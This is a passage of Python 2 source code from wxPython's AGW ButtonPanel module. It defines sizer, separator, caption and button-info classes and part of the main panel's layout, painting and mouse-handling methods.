\"\"\"\n Call this to force layout of the children anew, e.g. after having added a\n child to or removed a child (window, other sizer or space) from the sizer\n while keeping the current dimension.\n \"\"\"\n \n for ii, child in enumerate(self.GetChildren()):\n item = child.GetUserData()\n if item and child.IsShown():\n self.SetItemMinSize(ii, *item.GetBestSize())\n\n wx.BoxSizer.Layout(self)\n\n \n def Show(self, item, show=True):\n \"\"\"\n Shows or hides the sizer item.\n\n :param `item`: the sizer item we want to show/hide;\n :param `show`: ``True`` to show the item, ``False`` to hide it.\n \"\"\"\n \n child = self.GetChildren()[item]\n if child and child.GetUserData():\n child.GetUserData().Show(show)\n\n wx.BoxSizer.Show(self, item, show)\n \n\n# ---------------------------------------------------------------------------- #\n# Class Separator\n# This class holds all the information to size and draw a separator inside\n# ButtonPanel\n# ---------------------------------------------------------------------------- #\n\nclass Separator(Control):\n \"\"\"\n This class holds all the information to size and draw a separator inside\n L{ButtonPanel}.\n \"\"\"\n \n def __init__(self, parent):\n \"\"\"\n Default class constructor.\n \n :param `parent`: the separator parent object.\n \"\"\"\n \n self._isshown = True\n self._parent = parent\n Control.__init__(self, parent)\n\n \n def GetBestSize(self):\n \"\"\" Returns the separator best size. \"\"\"\n\n # 10 is completely arbitrary, but it works anyhow\n if self._parent.IsVertical():\n return wx.Size(10, self._parent._art.GetMetric(BP_SEPARATOR_SIZE))\n else:\n return wx.Size(self._parent._art.GetMetric(BP_SEPARATOR_SIZE), 10)\n \n \n def Draw(self, dc, rect):\n \"\"\"\n Draws the separator. Actually the drawing is done in L{BPArt}.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the separator client rectangle.\n \"\"\"\n\n if not self.IsShown():\n return\n\n isVertical = self._parent.IsVertical() \n self._parent._art.DrawSeparator(dc, rect, isVertical)\n \n\n# ---------------------------------------------------------------------------- #\n# Class ButtonPanelText\n# This class is used to hold data about the main caption in ButtonPanel\n# ---------------------------------------------------------------------------- #\n\nclass ButtonPanelText(Control):\n \"\"\" This class is used to hold data about the main caption in L{ButtonPanel}. \"\"\"\n\n def __init__(self, parent, text=\"\"):\n \"\"\"\n Default class constructor.\n \n :param `parent`: the text parent object;\n :param `text`: the actual main caption string.\n \"\"\"\n\n self._text = text\n self._isshown = True\n self._parent = parent\n \n Control.__init__(self, parent)\n\n\n def GetText(self):\n \"\"\" Returns the caption text. \"\"\"\n\n return self._text\n\n\n def SetText(self, text=\"\"):\n \"\"\"\n Sets the caption text.\n\n :param `text`: the main caption string.\n \"\"\"\n\n self._text = text\n\n\n def CreateDC(self):\n \"\"\" Convenience function to create a `wx.DC`. \"\"\"\n\n dc = wx.ClientDC(self._parent)\n textFont = self._parent._art.GetFont(BP_TEXT_FONT)\n dc.SetFont(textFont)\n\n return dc \n\n \n def GetBestSize(self):\n \"\"\" Returns the best size for the main caption in L{ButtonPanel}. \"\"\"\n\n if self._text == \"\":\n return wx.Size(0, 0)\n\n dc = self.CreateDC()\n rect = self._parent.GetClientRect()\n \n tw, th = dc.GetTextExtent(self._text)\n padding = self._parent._art.GetMetric(BP_PADDING_SIZE)\n self._size = wx.Size(tw+2*padding.x, th+2*padding.y)\n\n return self._size\n\n \n def Draw(self, dc, rect):\n \"\"\"\n Draws the main caption. Actually the drawing is done in L{BPArt}.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the main caption text client rectangle.\n \"\"\"\n\n if not self.IsShown():\n return\n\n captionText = self.GetText()\n self._parent._art.DrawCaption(dc, rect, captionText)\n \n \n# -- ButtonInfo class implementation ----------------------------------------\n# This class holds information about every button that is added to\n# ButtonPanel. It is an auxiliary class that you should use\n# every time you add a button.\n\nclass ButtonInfo(Control):\n \"\"\"\n This class holds information about every button that is added to\n L{ButtonPanel}. It is an auxiliary class that you should use\n every time you add a button.\n \"\"\"\n def __init__(self, parent, id=wx.ID_ANY, bmp=wx.NullBitmap,\n status=\"Normal\", text=\"\", kind=wx.ITEM_NORMAL,\n shortHelp=\"\", longHelp=\"\"):\n \"\"\"\n Default class constructor.\n\n :param `parent`: the parent window (L{ButtonPanel});\n :param `id`: the button id;\n :param `bmp`: the associated bitmap;\n :param `status`: button status (\"Pressed\", \"Hover\", \"Normal\", \"Toggled\", \"Disabled\");\n :param `text`: text to be displayed either below of to the right of the button;\n :param `kind`: button kind, may be ``wx.ITEM_NORMAL`` for standard buttons or\n ``wx.ITEM_CHECK`` for toggle buttons;\n :param `shortHelp`: a short help to be shown in the button tooltip;\n :param `longHelp`: this string is shown in the statusbar (if any) of the parent\n frame when the mouse pointer is inside the button.\n \"\"\"\n \n if id == wx.ID_ANY:\n id = wx.NewId()\n\n self._status = status\n self._rect = wx.Rect()\n self._text = text\n self._kind = kind\n self._toggle = False\n self._textAlignment = BP_BUTTONTEXT_ALIGN_BOTTOM\n self._shortHelp = shortHelp\n self._longHelp = longHelp\n\n if bmp and bmp.IsOk():\n disabledbmp = MakeDisabledBitmap(bmp)\n else:\n disabledbmp = wx.NullBitmap\n \n self._bitmaps = {\"Normal\": bmp, \"Toggled\": None, \"Disabled\": disabledbmp,\n \"Hover\": None, \"Pressed\": None} \n\n Control.__init__(self, parent, id=id)\n \n\n def GetBestSize(self):\n \"\"\" Returns the best size for the button. \"\"\"\n\n xsize = self.GetBitmap().GetWidth()\n ysize = self.GetBitmap().GetHeight()\n \n if self.HasText():\n # We have text in the button\n dc = wx.ClientDC(self._parent)\n normalFont = self._parent._art.GetFont(BP_BUTTONTEXT_FONT)\n dc.SetFont(normalFont)\n tw, th = dc.GetTextExtent(self.GetText())\n\n if self.GetTextAlignment() == BP_BUTTONTEXT_ALIGN_BOTTOM:\n xsize = max(xsize, tw)\n ysize = ysize + th\n else:\n xsize = xsize + tw\n ysize = max(ysize, th)\n\n border = self._parent._art.GetMetric(BP_BORDER_SIZE)\n padding = self._parent._art.GetMetric(BP_PADDING_SIZE)\n \n if self._parent.IsVertical():\n xsize = xsize + 2*border\n else:\n ysize = ysize + 2*border\n\n self._size = wx.Size(xsize+2*padding.x, ysize+2*padding.y)\n\n return self._size\n\n \n def Draw(self, dc, rect):\n \"\"\"\n Draws the button on L{ButtonPanel}. Actually the drawing is done in L{BPArt}.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the main caption text client rectangle.\n \"\"\"\n\n if not self.IsShown():\n return\n\n buttonBitmap = self.GetBitmap()\n isVertical = self._parent.IsVertical()\n text = self.GetText()\n buttonStatus = self.GetStatus()\n isToggled = self.GetToggled()\n textAlignment = self.GetTextAlignment()\n\n self._parent._art.DrawButton(dc, rect, buttonBitmap, isVertical,\n buttonStatus, isToggled, textAlignment, text)\n\n self.SetRect(rect)\n \n \n def CheckRefresh(self, status):\n \"\"\"\n Checks whether a L{ButtonPanel} repaint is needed or not. This is a convenience function.\n\n :param `status`: the status of a newly added L{ButtonInfo} or a change in the\n L{ButtonInfo} status.\n \"\"\"\n\n if status == self._status:\n self._parent.RefreshRect(self.GetRect())\n\n \n def SetBitmap(self, bmp, status=\"Normal\"):\n \"\"\"\n Sets the bitmap associated with this instance of L{ButtonInfo}.\n\n :param `bmp`: a valid `wx.Bitmap` object;\n :param `status`: the L{ButtonInfo} status (\"Pressed\", \"Hover\", \"Normal\",\n \"Toggled\", \"Disabled\").\n \"\"\"\n\n self._bitmaps[status] = bmp\n self.CheckRefresh(status)\n\n\n def GetBitmap(self, status=None):\n \"\"\"\n Returns the bitmap associated with this instance of L{ButtonInfo}.\n\n :param `status`: the L{ButtonInfo} status (\"Pressed\", \"Hover\", \"Normal\",\n \"Toggled\", \"Disabled\").\n \"\"\"\n\n if status is None:\n status = self._status\n\n if not self.IsEnabled():\n status = \"Disabled\"\n\n if self._bitmaps[status] is None:\n if self.GetToggled():\n if self._bitmaps[\"Toggled\"] is not None:\n return self._bitmaps[\"Toggled\"]\n return self._bitmaps[\"Normal\"]\n \n return self._bitmaps[status]\n\n\n def GetRect(self):\n \"\"\" Returns the L{ButtonInfo} client rectangle. \"\"\"\n\n return self._rect\n\n\n def GetStatus(self):\n \"\"\" Returns the L{ButtonInfo} status. \"\"\"\n\n return self._status\n\n\n def GetId(self):\n \"\"\" Returns the L{ButtonInfo} id. \"\"\"\n \n return self._id\n\n\n def SetRect(self, rect):\n \"\"\"\n Sets the L{ButtonInfo} client rectangle.\n\n :param `rect`: an instance of `wx.Rect`.\n \"\"\"\n\n self._rect = rect\n \n\n def SetStatus(self, status):\n \"\"\"\n Sets the L{ButtonInfo} status.\n\n :param `status`: one of \"Pressed\", \"Hover\", \"Normal\", \"Toggled\", \"Disabled\".\n \"\"\"\n\n if status == self._status:\n return\n \n if self.GetToggled() and status == \"Normal\":\n status = \"Toggled\"\n \n self._status = status\n self._parent.RefreshRect(self.GetRect())\n\n\n def GetTextAlignment(self):\n \"\"\" Returns the text alignment in the button (bottom or right). \"\"\"\n\n return self._textAlignment\n\n\n def SetTextAlignment(self, alignment):\n \"\"\"\n Sets the text alignment in the button (bottom or right).\n\n :param `alignment`: the text alignment in this L{ButtonInfo} instance.\n \"\"\"\n\n if alignment == self._textAlignment:\n return\n\n self._textAlignment = alignment\n \n\n def GetToggled(self):\n \"\"\" Returns whether a ``wx.ITEM_CHECK`` button is toggled or not. \"\"\"\n\n if self._kind == wx.ITEM_NORMAL:\n return False\n\n return self._toggle\n \n\n def SetToggled(self, toggle=True):\n \"\"\"\n Sets a ``wx.ITEM_CHECK`` button toggled/not toggled.\n\n :param `toggle`: ``True`` to toggle the button, ``False`` otherwise.\n \"\"\"\n\n if self._kind == wx.ITEM_NORMAL:\n return\n\n self._toggle = toggle\n\n\n def SetId(self, id):\n \"\"\"\n Sets the L{ButtonInfo} identifier.\n\n :param `id`: the identifier of the window.\n \"\"\"\n\n self._id = id\n\n\n def AddStatus(self, name=\"Custom\", bmp=wx.NullBitmap):\n \"\"\"\n Add a programmer-defined status in addition to the 5 default status:\n\n - Normal;\n - Disabled;\n - Hover;\n - Pressed;\n - Toggled.\n\n :param `name`: the new status name;\n :param `bmp`: the bitmap associated with the new status.\n \"\"\"\n\n self._bitmaps.update({name: bmp})\n\n\n def Enable(self, enable=True):\n \"\"\"\n Enables/disables this instance of L{ButtonInfo}.\n\n :param `enable`: ``True`` to enable the button, ``False`` otherwise.\n \"\"\"\n \n if enable:\n self._status = \"Normal\"\n else:\n self._status = \"Disabled\"\n \n\n def IsEnabled(self):\n \"\"\"\n Returns ``True`` if this instance of L{ButtonInfo} is enabled for input,\n ``False`` otherwise.\n \"\"\"\n \n return self._status != \"Disabled\"\n \n \n def SetText(self, text=\"\"):\n \"\"\"\n Sets the button label text.\n\n :param `text`: the button label string.\n \"\"\"\n\n self._text = text\n\n\n def GetText(self):\n \"\"\" Returns the text associated to the button. \"\"\"\n\n return self._text\n\n\n def HasText(self):\n \"\"\" Returns whether the button has text or not. \"\"\"\n\n return self._text != \"\"\n \n\n def SetKind(self, kind=wx.ITEM_NORMAL):\n \"\"\"\n Sets the button type (standard or toggle).\n\n :param `kind`: one of ``wx.ITEM_NORMAL``, ``wx.ITEM_CHECK``.\n \"\"\"\n\n self._kind = kind\n\n\n def GetKind(self):\n \"\"\" Returns the button type (standard or toggle). \"\"\"\n\n return self._kind\n\n\n def SetShortHelp(self, help=\"\"):\n \"\"\"\n Sets the help string to be shown in a tooltip.\n\n :param `help`: the string for the short help.\n \"\"\"\n \n self._shortHelp = help\n\n\n def GetShortHelp(self):\n \"\"\" Returns the help string shown in a tooltip. \"\"\"\n\n return self._shortHelp\n\n\n def SetLongHelp(self, help=\"\"):\n \"\"\"\n Sets the help string to be shown in the statusbar.\n\n :param `help`: the string for the long help.\n \"\"\"\n\n self._longHelp = help\n\n\n def GetLongHelp(self):\n \"\"\" Returns the help string shown in the statusbar. \"\"\"\n\n return self._longHelp\n \n \n Bitmap = property(GetBitmap, SetBitmap)\n Id = property(GetId, SetId)\n Rect = property(GetRect, SetRect)\n Status = property(GetStatus, SetStatus)\n \n\n# -- ButtonPanel class implementation ----------------------------------\n# This is the main class.\n\nclass ButtonPanel(wx.PyPanel):\n \"\"\"\n A custom panel class with gradient background shading with the possibility to\n add buttons and controls still respecting the gradient background.\n \"\"\"\n\n def __init__(self, parent, id=wx.ID_ANY, text=\"\", agwStyle=BP_DEFAULT_STYLE,\n alignment=BP_ALIGN_LEFT, name=\"buttonPanel\"):\n \"\"\"\n Default class constructor.\n\n :param `parent`: the parent window;\n :param `id`: window identifier. If ``wx.ID_ANY``, will automatically create an identifier;\n :param `text`: the main caption text for L{ButtonPanel};\n :param `agwStyle`: the AGW-specific window style (one of ``BP_DEFAULT_STYLE``, ``BP_USE_GRADIENT``);\n :param `alignment`: alignment of buttons (left or right);\n :param `name`: window class name.\n \"\"\"\n \n wx.PyPanel.__init__(self, parent, id, wx.DefaultPosition, wx.DefaultSize,\n wx.NO_BORDER, name=name)\n \n self._vButtons = []\n self._vSeparators = []\n\n self._agwStyle = agwStyle\n self._alignment = alignment\n self._statusTimer = None\n self._useHelp = True\n self._freezeCount = 0\n self._currentButton = -1\n self._haveTip = False\n\n self._art = BPArt(agwStyle)\n\n self._controlCreated = False\n\n direction = (self.IsVertical() and [wx.VERTICAL] or [wx.HORIZONTAL])[0] \n self._mainsizer = BoxSizer(direction)\n self.SetSizer(self._mainsizer)\n\n margins = self._art.GetMetric(BP_MARGINS_SIZE)\n \n # First spacer to create some room before the first text/button/control\n self._mainsizer.Add((margins.x, margins.y), 0)\n \n # Last spacer to create some room before the last text/button/control\n self._mainsizer.Add((margins.x, margins.y), 0) \n\n self.Bind(wx.EVT_SIZE, self.OnSize) \n self.Bind(wx.EVT_PAINT, self.OnPaint)\n self.Bind(wx.EVT_ERASE_BACKGROUND, self.OnEraseBackground)\n self.Bind(wx.EVT_MOTION, self.OnMouseMove)\n self.Bind(wx.EVT_LEFT_DOWN, self.OnLeftDown)\n self.Bind(wx.EVT_LEFT_UP, self.OnLeftUp)\n self.Bind(wx.EVT_LEAVE_WINDOW, self.OnMouseLeave)\n self.Bind(wx.EVT_ENTER_WINDOW, self.OnMouseEnterWindow)\n \n self.SetBarText(text)\n self.LayoutItems()\n \n \n def SetBarText(self, text):\n \"\"\"\n Sets the main caption text.\n\n :param `text`: the main caption text label. An empty string erases the\n main caption text.\n \"\"\"\n\n self.Freeze()\n \n text = text.strip()\n\n if self._controlCreated:\n self.RemoveText()\n\n self._text = ButtonPanelText(self, text)\n lenChildren = len(self._mainsizer.GetChildren())\n \n if text == \"\":\n # Even if we have no text, we insert it an empty spacer anyway\n # it is easier to handle if you have to recreate the sizer after.\n if self.IsStandard():\n self._mainsizer.Insert(1, self._text, 0, wx.ALIGN_CENTER,\n userData=self._text, realIndex=0)\n else:\n self._mainsizer.Insert(lenChildren-1, self._text, 0, wx.ALIGN_CENTER,\n userData=self._text, realIndex=lenChildren)\n\n return\n\n # We have text, so insert the text and an expandable spacer\n # alongside it. \"Standard\" ButtonPanel are left or top aligned.\n if self.IsStandard():\n self._mainsizer.Insert(1, self._text, 0, wx.ALIGN_CENTER,\n userData=self._text, realIndex=0)\n self._mainsizer.Insert(2, (0, 0), 1, wx.EXPAND)\n \n else:\n self._mainsizer.Insert(lenChildren-1, self._text, 0, wx.ALIGN_CENTER,\n userData=self._text, realIndex=lenChildren)\n self._mainsizer.Insert(lenChildren-1, (0, 0), 1, wx.EXPAND)\n \n\n def RemoveText(self):\n \"\"\" Removes the main caption text. \"\"\"\n \n lenChildren = len(self._mainsizer.GetChildren())\n lenCustom = len(self._vButtons) + len(self._vSeparators) + 1\n \n if self.IsStandard():\n # Detach the text\n self._mainsizer.Remove(1, 0)\n if self.HasBarText():\n # Detach the expandable spacer\n self._mainsizer.Remove(1, -1)\n else:\n # Detach the text\n self._mainsizer.Remove(lenChildren-2, lenCustom-1)\n if self.HasBarText():\n # Detach the expandable spacer \n self._mainsizer.Remove(lenChildren-3, -1)\n\n \n def GetBarText(self):\n \"\"\" Returns the main caption text. \"\"\"\n\n return self._text.GetText()\n\n\n def HasBarText(self):\n \"\"\" Returns whether L{ButtonPanel} has a main caption text or not. \"\"\"\n\n return hasattr(self, \"_text\") and self._text.GetText() != \"\"\n\n \n def AddButton(self, btnInfo):\n \"\"\"\n Adds a button to L{ButtonPanel}.\n\n :param `btnInfo`: an instance of L{ButtonInfo}.\n \n :note: Remember to pass a L{ButtonInfo} instance to this method, and not a\n standard `wx.Button` or a `wx.ToolBar` tool.\n \"\"\"\n\n lenChildren = len(self._mainsizer.GetChildren())\n self._mainsizer.Insert(lenChildren-1, btnInfo, 0, wx.ALIGN_CENTER|wx.EXPAND, userData=btnInfo)\n \n self._vButtons.append(btnInfo)\n\n\n def AddSpacer(self, size=(0, 0), proportion=1, flag=wx.EXPAND):\n \"\"\"\n Adds a spacer (stretchable or fixed-size) to L{ButtonPanel}.\n\n :param `size`: the spacer size as a tuple;\n :param `proportion`: the spacer proportion (0 for fixed-size, 1 or more for a\n stretchable one);\n :param `flag`: one of the `wx.BoxSizer` flags. \n \"\"\"\n\n lenChildren = len(self._mainsizer.GetChildren())\n self._mainsizer.Insert(lenChildren-1, size, proportion, flag)\n \n\n def AddControl(self, control, proportion=0, flag=wx.ALIGN_CENTER|wx.ALL, border=None):\n \"\"\"\n Adds a wxPython control to L{ButtonPanel}.\n\n :param `control`: an instance of `wx.Window`;\n :param `proportion`: the control proportion (0 for fixed-size, 1 or more for a\n stretchable one);\n :param `flag`: one of the `wx.BoxSizer` flags;\n :param `border`: the control border width (in pixels), if the `flag` parameter\n is set to include any border flag. \n \"\"\"\n\n lenChildren = len(self._mainsizer.GetChildren())\n \n if border is None:\n border = self._art.GetMetric(BP_PADDING_SIZE)\n border = max(border.x, border.y)\n\n self._mainsizer.Insert(lenChildren-1, control, proportion, flag, border)\n \n\n def AddSeparator(self):\n \"\"\" Adds a separator line to L{ButtonPanel}. \"\"\"\n\n lenChildren = len(self._mainsizer.GetChildren())\n separator = Separator(self)\n \n self._mainsizer.Insert(lenChildren-1, separator, 0, wx.EXPAND)\n self._vSeparators.append(separator)\n \n\n def RemoveAllButtons(self):\n \"\"\"\n Remove all the buttons from L{ButtonPanel}.\n \n :note: This function is only for internal use only. If you are interested in\n manipulating a L{ButtonPanel} in real time (ie. removing things on it)\n have a look at the L{Clear} method.\n \"\"\"\n\n self._vButtons = []\n\n \n def RemoveAllSeparators(self):\n \"\"\"\n Remove all the separators from L{ButtonPanel}.\n \n :note: This function is only for internal use only. If you are interested in\n manipulating a L{ButtonPanel} in real time (ie. removing things on it)\n have a look at the L{Clear} method.\n \"\"\"\n\n self._vSeparators = []\n\n\n def Clear(self):\n \"\"\"\n Clears the L{ButtonPanel}.\n \n Can be used to reset the L{ButtonPanel} if you'd like have a new set of\n buttons on the panel.\n \"\"\"\n \n if self.HasBarText():\n bartext = self.GetBarText()\n else:\n bartext = None\n \n self.Freeze()\n \n self._currentButton = -1\n self._mainsizer.Clear()\n self.ReCreateSizer(bartext)\n\n \n def GetAlignment(self):\n \"\"\"\n Returns the buttons alignment.\n\n :see: L{SetAlignment} for a set of valid alignment bits.\n \"\"\"\n\n return self._alignment\n \n\n def SetAlignment(self, alignment):\n \"\"\"\n Sets the buttons alignment.\n\n :param `alignment`: can be one of the following bits:\n\n ====================== ======= ==========================\n Alignment Flag Value Description\n ====================== ======= ==========================\n ``BP_ALIGN_RIGHT`` 1 Buttons are aligned on the right\n ``BP_ALIGN_LEFT`` 2 Buttons are aligned on the left\n ``BP_ALIGN_TOP`` 4 Buttons are aligned at the top\n ``BP_ALIGN_BOTTOM`` 8 Buttons are aligned at the bottom\n ====================== ======= ========================== \n \"\"\"\n\n if alignment == self._alignment:\n return\n\n self.Freeze()\n \n text = self.GetBarText()\n \n # Remove the text in any case\n self.RemoveText()\n\n # Remove the first and last spacers\n self._mainsizer.Remove(0, -1)\n self._mainsizer.Remove(len(self._mainsizer.GetChildren())-1, -1)\n \n self._alignment = alignment\n\n # Recreate the sizer accordingly to the new alignment\n self.ReCreateSizer(text)\n\n\n def IsVertical(self):\n \"\"\" Returns whether L{ButtonPanel} is vertically aligned or not. \"\"\"\n\n return self._alignment not in [BP_ALIGN_RIGHT, BP_ALIGN_LEFT]\n \n\n def IsStandard(self):\n \"\"\" Returns whether L{ButtonPanel} is aligned \"Standard\" (left/top) or not. \"\"\"\n\n return self._alignment in [BP_ALIGN_LEFT, BP_ALIGN_TOP]\n\n\n def DoLayout(self):\n \"\"\"\n Do the Layout for L{ButtonPanel}.\n \n :note: Call this method every time you make a modification to the layout\n or to the customizable sizes of the pseudo controls.\n \"\"\"\n\n margins = self._art.GetMetric(BP_MARGINS_SIZE)\n lenChildren = len(self._mainsizer.GetChildren())\n\n self._mainsizer.SetItemMinSize(0, (margins.x, margins.y))\n self._mainsizer.SetItemMinSize(lenChildren-1, (margins.x, margins.y))\n \n self._controlCreated = True\n self.LayoutItems()\n\n # *VERY* WEIRD: the sizer seems not to respond to any layout until I\n # change the ButtonPanel size and restore it back\n size = self.GetSize()\n self.SetSize((size.x+1, size.y+1))\n self.SetSize((size.x, size.y))\n \n if self.IsFrozen():\n self.Thaw()\n\n\n def ReCreateSizer(self, text=None):\n \"\"\"\n Recreates the L{ButtonPanel} sizer accordingly to the alignment specified.\n\n :param `text`: the text to display as main caption. If `text` is set to ``None``,\n the main caption will not be displayed.\n \"\"\"\n \n children = self._mainsizer.GetChildren()\n self.RemoveAllButtons()\n self.RemoveAllSeparators()\n\n # Create a new sizer depending on the alignment chosen\n direction = (self.IsVertical() and [wx.VERTICAL] or [wx.HORIZONTAL])[0] \n self._mainsizer = BoxSizer(direction)\n\n margins = self._art.GetMetric(BP_MARGINS_SIZE)\n # First spacer to create some room before the first text/button/control\n self._mainsizer.Add((margins.x, margins.y), 0)\n \n # Last spacer to create some room before the last text/button/control\n self._mainsizer.Add((margins.x, margins.y), 0)\n \n # This is needed otherwise SetBarText goes mad \n self._controlCreated = False\n\n for child in children:\n userData = child.GetUserData()\n if userData:\n if isinstance(userData, ButtonInfo):\n # It is a ButtonInfo, can't be anything else\n self.AddButton(child.GetUserData())\n elif isinstance(userData, Separator):\n self.AddSeparator()\n \n else:\n if child.IsSpacer():\n # This is a spacer, expandable or not\n self.AddSpacer(child.GetSize(), child.GetProportion(),\n child.GetFlag())\n else:\n # This is a wxPython control\n self.AddControl(child.GetWindow(), child.GetProportion(),\n child.GetFlag(), child.GetBorder())\n\n self.SetSizer(self._mainsizer)\n\n if text is not None:\n self.SetBarText(text)\n \n self.DoLayout()\n \n self.Thaw()\n \n\n def DoGetBestSize(self):\n \"\"\"\n Gets the size which best suits L{ButtonPanel}: for a control, it would be\n the minimal size which doesn't truncate the control, for a panel - the\n same size as it would have after a call to `Fit()`.\n\n :note: Overridden from `wx.PyPanel`. \n \"\"\"\n\n w = h = btnWidth = btnHeight = 0\n isVertical = self.IsVertical()\n\n padding = self._art.GetMetric(BP_PADDING_SIZE)\n border = self._art.GetMetric(BP_BORDER_SIZE)\n margins = self._art.GetMetric(BP_MARGINS_SIZE)\n separator_size = self._art.GetMetric(BP_SEPARATOR_SIZE)\n\n # Add the space required for the main caption \n if self.HasBarText():\n w, h = self._text.GetBestSize()\n if isVertical:\n h += padding.y\n else:\n w += padding.x\n else:\n w = h = border\n\n # Add the button's sizes\n for btn in self._vButtons:\n \n bw, bh = btn.GetBestSize() \n btnWidth = max(btnWidth, bw)\n btnHeight = max(btnHeight, bh)\n\n if isVertical: \n w = max(w, btnWidth)\n h += bh\n else:\n h = max(h, btnHeight)\n w += bw\n\n # Add the control's sizes\n for control in self.GetControls():\n cw, ch = control.GetSize()\n if isVertical:\n h += ch\n w = max(w, cw)\n else:\n w += cw\n h = max(h, ch)\n\n # Add the separator's sizes and the 2 SizerItems at the beginning\n # and at the end\n if self.IsVertical():\n h += 2*margins.y + len(self._vSeparators)*separator_size\n else:\n w += 2*margins.x + len(self._vSeparators)*separator_size\n \n return wx.Size(w, h)\n\n\n def OnPaint(self, event):\n \"\"\"\n Handles the ``wx.EVT_PAINT`` event for L{ButtonPanel}.\n\n :param `event`: a `wx.PaintEvent` event to be processed.\n \"\"\"\n\n dc = wx.BufferedPaintDC(self) \n rect = self.GetClientRect()\n\n self._art.DrawButtonPanel(dc, rect, self._agwStyle)\n self._mainsizer.Draw(dc)\n \n\n def OnEraseBackground(self, event):\n \"\"\"\n Handles the ``wx.EVT_ERASE_BACKGROUND`` event for L{ButtonPanel}.\n\n :param `event`: a `wx.EraseEvent` event to be processed.\n\n :note: This is intentionally empty to reduce flicker.\n \"\"\"\n\n pass\n \n \n def OnSize(self, event):\n \"\"\"\n Handles the ``wx.EVT_SIZE`` event for L{ButtonPanel}.\n\n :param `event`: a `wx.SizeEvent` event to be processed.\n\n :todo: Improve the chain of methods L{OnSize} ==> L{DoLayout} ==> L{LayoutItems}\n to avoid multiple calls to L{LayoutItems}.\n \"\"\"\n\n # NOTE: It seems like LayoutItems number of calls can be optimized in some way.\n # Currently every DoLayout (or every parent Layout()) calls about 3 times\n # the LayoutItems method. Any idea on how to improve it?\n self.LayoutItems()\n self.Refresh()\n\n event.Skip() \n\n\n def LayoutItems(self):\n \"\"\"\n Layout the items using a different algorithms depending on the existance\n of the main caption.\n \"\"\"\n\n nonspacers, allchildren = self.GetNonFlexibleChildren()\n \n if self.HasBarText():\n self.FlexibleLayout(nonspacers, allchildren)\n else:\n self.SizeLayout(nonspacers, allchildren)\n \n self._mainsizer.Layout()\n\n\n def SizeLayout(self, nonspacers, children):\n \"\"\"\n Layout the items when no main caption exists.\n\n :param `nonspacers`: a list of items which are not spacers;\n :param `children`: a list of all the children of L{ButtonPanel}.\n \"\"\"\n\n size = self.GetSize()\n isVertical = self.IsVertical()\n \n corner = 0\n indx1 = len(nonspacers)\n\n for item in nonspacers:\n corner += self.GetItemSize(item, isVertical)\n if corner > size[isVertical]:\n indx1 = nonspacers.index(item)\n break\n\n # Leave out the last spacer, it has to be there always \n for ii in xrange(len(nonspacers)-1):\n indx = children.index(nonspacers[ii])\n self._mainsizer.Show(indx, ii < indx1)\n \n\n def GetItemSize(self, item, isVertical):\n \"\"\"\n Returns the size of an item in the main L{ButtonPanel} sizer.\n\n :param `item`: an instance of L{ButtonInfo};\n :param `isVertical`: ``True`` if L{ButtonPanel} is in vertical orientation,\n ``False`` otherwise.\n \"\"\"\n \n if item.GetUserData():\n return item.GetUserData().GetBestSize()[isVertical]\n else:\n return item.GetSize()[isVertical]\n\n\n def FlexibleLayout(self, nonspacers, allchildren):\n \"\"\"\n Layout the items when the main caption exists.\n\n :param `nonspacers`: a list of items which are not spacers;\n :param `allchildren`: a list of all the children of L{ButtonPanel}.\n \"\"\"\n\n if len(nonspacers) < 2:\n return\n \n isVertical = self.IsVertical()\n isStandard = self.IsStandard()\n \n size = self.GetSize()[isVertical]\n padding = self._art.GetMetric(BP_PADDING_SIZE)\n \n fixed = (isStandard and [nonspacers[1]] or [nonspacers[-2]])[0]\n \n if isStandard:\n nonspacers.reverse()\n leftendx = fixed.GetSize()[isVertical] + padding.x\n else:\n rightstartx = size - fixed.GetSize()[isVertical]\n size = 0\n\n count = lennonspacers = len(nonspacers)\n \n for item in nonspacers:\n if isStandard:\n size -= self.GetItemSize(item, isVertical)\n if size < leftendx:\n break\n else:\n size += self.GetItemSize(item, isVertical)\n if size > rightstartx:\n break\n \n count = count - 1\n\n nonspacers.reverse()\n \n for jj in xrange(2, lennonspacers):\n indx = allchildren.index(nonspacers[jj])\n self._mainsizer.Show(indx, jj >= count)\n\n \n def GetNonFlexibleChildren(self):\n \"\"\"\n Returns all the L{ButtonPanel} main sizer's children that are not\n flexible spacers.\n \"\"\"\n\n children1 = []\n children2 = list(self._mainsizer.GetChildren())\n \n for child in children2:\n if child.IsSpacer():\n if child.GetUserData() or child.GetProportion() == 0:\n children1.append(child)\n else:\n children1.append(child)\n\n return children1, children2\n\n\n def GetControls(self):\n \"\"\" Returns the wxPython controls that belongs to L{ButtonPanel}. \"\"\"\n \n children2 = self._mainsizer.GetChildren()\n children1 = [child for child in children2 if not child.IsSpacer()]\n\n return children1\n\n\n def SetStyle(self, agwStyle):\n \"\"\"\n Sets the L{ButtonPanel} window style.\n\n :param `agwStyle`: one of the following bits:\n\n ==================== =========== ==================================================\n Window Styles Hex Value Description\n ==================== =========== ==================================================\n ``BP_DEFAULT_STYLE`` 0x1 L{ButtonPanel} has a plain solid background.\n ``BP_USE_GRADIENT`` 0x2 L{ButtonPanel} has a gradient shading background.\n ==================== =========== ==================================================\n\n \"\"\"\n\n if agwStyle == self._agwStyle:\n return\n\n self._agwStyle = agwStyle\n self.Refresh()\n\n\n def GetStyle(self):\n \"\"\"\n Returns the L{ButtonPanel} window style.\n\n :see: L{SetStyle} for a list of valid window styles. \n \"\"\"\n\n return self._agwStyle\n\n \n def OnMouseMove(self, event):\n \"\"\"\n Handles the ``wx.EVT_MOTION`` event for L{ButtonPanel}.\n\n :param `event`: a `wx.MouseEvent` event to be processed. \n \"\"\"\n\n # Check to see if we are hovering a button\n tabId, flags = self.HitTest(event.GetPosition())\n\n if flags != BP_HT_BUTTON:\n self.RemoveHelp()\n self.RepaintOldSelection()\n self._currentButton = -1\n return\n \n btn = self._vButtons[tabId]\n\n if not btn.IsEnabled():\n self.RemoveHelp()\n self.RepaintOldSelection()\n return\n\n if tabId != self._currentButton:\n self.RepaintOldSelection()\n \n if btn.GetRect().Contains(event.GetPosition()):\n if btn.GetStatus() != \"Pressed\":\n btn.SetStatus(\"Hover\")\n else:\n btn.SetStatus(\"Normal\")\n\n if tabId != self._currentButton:\n self.RemoveHelp()\n self.DoGiveHelp(btn)\n \n self._currentButton = tabId\n \n event.Skip() \n \n\n def OnLeftDown(self, event):\n \"\"\"\n Handles the 